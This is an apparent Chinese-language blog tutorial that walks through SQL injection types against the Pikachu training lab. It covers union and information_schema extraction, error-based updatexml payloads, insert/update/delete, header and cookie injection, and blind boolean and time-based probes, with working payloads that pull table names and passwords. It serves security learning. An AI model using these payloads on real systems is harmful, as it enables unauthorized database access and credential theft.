2020-03-29,sql注入攻击类型和方式


注入攻击类型与方式

        主要有:union注入、insert/update注入、delete注入、http header注入、盲注(base on boolian)、盲注(base on time)、函数报错、宽字节注入、二次注入、偏移注入等

一、union注入(联合查询)用的比较多

1、在数据库练习

mysql> show databases;

mysql> use pikachu;

mysql> selectid,email from member where username='kevin' union select username,

pw from memberwhere id=1;

联合查询

2、pikachu平台

输入    v' union selectusername,pw from member where id=1#%

输入
结果

输入   a' order by 4#%               order by是排序,这是查找主字段

输入
显示结果

a' order by 4#%    将数字4改成3  结果显示如下,页面返回显示正常,说明主查询的字段是3个。

输入
显示结果

        通过这个简单的办法找到主查询一共有三个字段。之后我们来使用union来做一个SQL语句的拼接。输入构造好的语句a' union select database(),user(),version()#%,反馈如图:

输入
显示结果3个

二、information_schema注入

       information_schema数据库是MySQL系统自带的数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。通过information_schema注入,我们可以将整个数据库内容全部窃取出来, 使用order by来判断查询的字段。先找出数据库的名称,输入vince' union select database(),user(),3#%得到反馈,判断数据库名称为pikachu。

获取pikachu数据库的表名,输入:u' union select table_schema ,table_name,3from information_schema.tables where table_schema='pikachu'#

获取pikachu表名

获取pikachu数据库的字段名,输入:k' union select table_name,column_name,3 from information_schema.columns where table_name='users'#%

获取字段名

获取字段值的内容,输入:kobe'union select username ,password,3 fromusers#%

获取字段值的内容

三、基于函数报错注入

       在MYSQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息,常见的select/insert/update/delete注入都可以使用报错方式来获取信息.

1、三个常用的用来报错的函数

updatexml():函数是MYSQL对XML文档数据进行查询和修改的XPATH函数.

 extractvalue() :函数也是MYSQL对XML文档数据进行查询的XPATH函数.

  floor():MYSQL中用来取整的函数.

1、爆数据库版本信息

k' and updatexml(1,concat(0x7e,(SELECT@@version),0x7e),1) #

1

2、爆数据库当前用户

k' and  updatexml(1,concat(0x7e,(SELECTuser()),0x7e),1)#  

2

3、爆数据库

k' and updatexml(1,concat(0x7e,(SELECTdatabase()),0x7e),1) #

3

4、爆表

获取4数据库表名,输入:k'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu')),0)#,但是反馈回的错误表示只能显示一行,所以采用limit来一行一行显示

4

输入k' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu'limit 0,1)),0)#更改limit后面的数字limit 0完成表名遍历。(改0更换表名)

表名

5、爆字段

获取字段名,输入:k' and updatexml(1,concat(0x7e,(selectcolumn_name from information_schema.columns where table_name='users'limit 2,1)),0)#

5

6、爆字段内容

获取字段内容,输入:k' and updatexml(1,concat(0x7e,(select password from users limit 0,1)),0)#

6

四、insert注入

        insert注入,就是前端注册的信息最终会被后台通过insert这个操作插入数据库,后台在接受前端的注册数据时没有做防SQL注入的处理,导致前端的输入可以直接拼接SQL到后端的insert相关内容中,导致了insert注入。

到数据库中输入insert into member (username,pw,sex,phonenum,email,address) values('oldboy',123456,1,2,3,4);来插入一个用户,在输入select * from member;查看所有用户

进入网站注册页面,填写网站注册相关信息,通过Burp抓包在用户名输入相关payload,

1.爆表名

oldboy'or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0) or'

显示表名

2.爆列名

' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0) or'

显示列名

3.爆内容

' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or' 等同

' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or '1'='1''

显示内容

五、update注入

       与insert注入的方法大体相同,区别在于update用于用户登陆端,insert用于用于用户注册端。

一般登录网站前台或后台更新用户信息的地方,填写用户需要修改相关信息,通过Burp抓包在用户名输入相关payload,

update注入  ' or updatexml(0,concat(0x7e,(database())),0) or'      

六、dalete注入

一般应用于前后端发贴、留言、用户等相关删除操作,点击删除按钮时可通过Brup Suite抓包,对数据包相关delete参数进行注入,注入方法如下:

delete from message where id=56 or updatexml(2,concat(0x7e,(database())),0)    空格要转码

七、Http Header注入

       先在pikachu平台打开Http Header注入模块,点击提示查看登录帐号和密码,登陆后去BurpSuite中找到登陆地GET请求,把请求发送到Repeater模块中,

输入payload Mozilla' orupdatexml(1,concat(0x7e,database ()),0) or '

八、Cookie注入

        Cookie是网站为了识别用户身份来跟踪会话的,虽然Cookie是由后端生成的,但每次页面跳转,后端都回对前端的Cookie的信息进行验证,但如果后端获取Cookie后放在数据库中进行拼接,那么这也将是一个SQL注入点。

在ant[uname]=admin后添加一个

'and updatexml (1,concat(0x7e,database()),0)#

九、Boolian(布尔型)盲注

SQL盲注分为三大类:基于布尔型SQL盲注、基于时间型SQL盲注、基于报错型SQL盲注

select ascii(substr(database(),1,1))<113

112和7是为真


十、base on time(时间型)盲注

判断是否存在注入点,如果存在注入点则该界面会查询6秒(6秒是参数中设置的查询时间)

vince' and sleep(6)#

十一、宽字节注入

       当我们把php.ini文件里面的magic_quotes_gqc参数设为ON时,所有的'(单引号),"(双引号),\(反斜杠)和null字符都会被自动加上一个反斜杠进行转义。还有很多函数有类似的作用如:addslashes()、mysql_escape_string()、mysql_real_escape_string()等,另外还有parse_str()后的变量也受magic_quotes_gpc的影响。目前大多数的主机都打开了这个选项,并且很多程序员也注意使用上面那些函数去过滤变量,这看上去很安全,很多漏洞查找者或者工具遇到这些函数过滤后的变量直接就放弃,但是就在他们放弃的同时也放过很多致命的安全漏洞。 

小提示: 数字和字母占一个字节,汉字占两个字节

你可能感兴趣的:(2020-03-29,sql注入攻击类型和方式)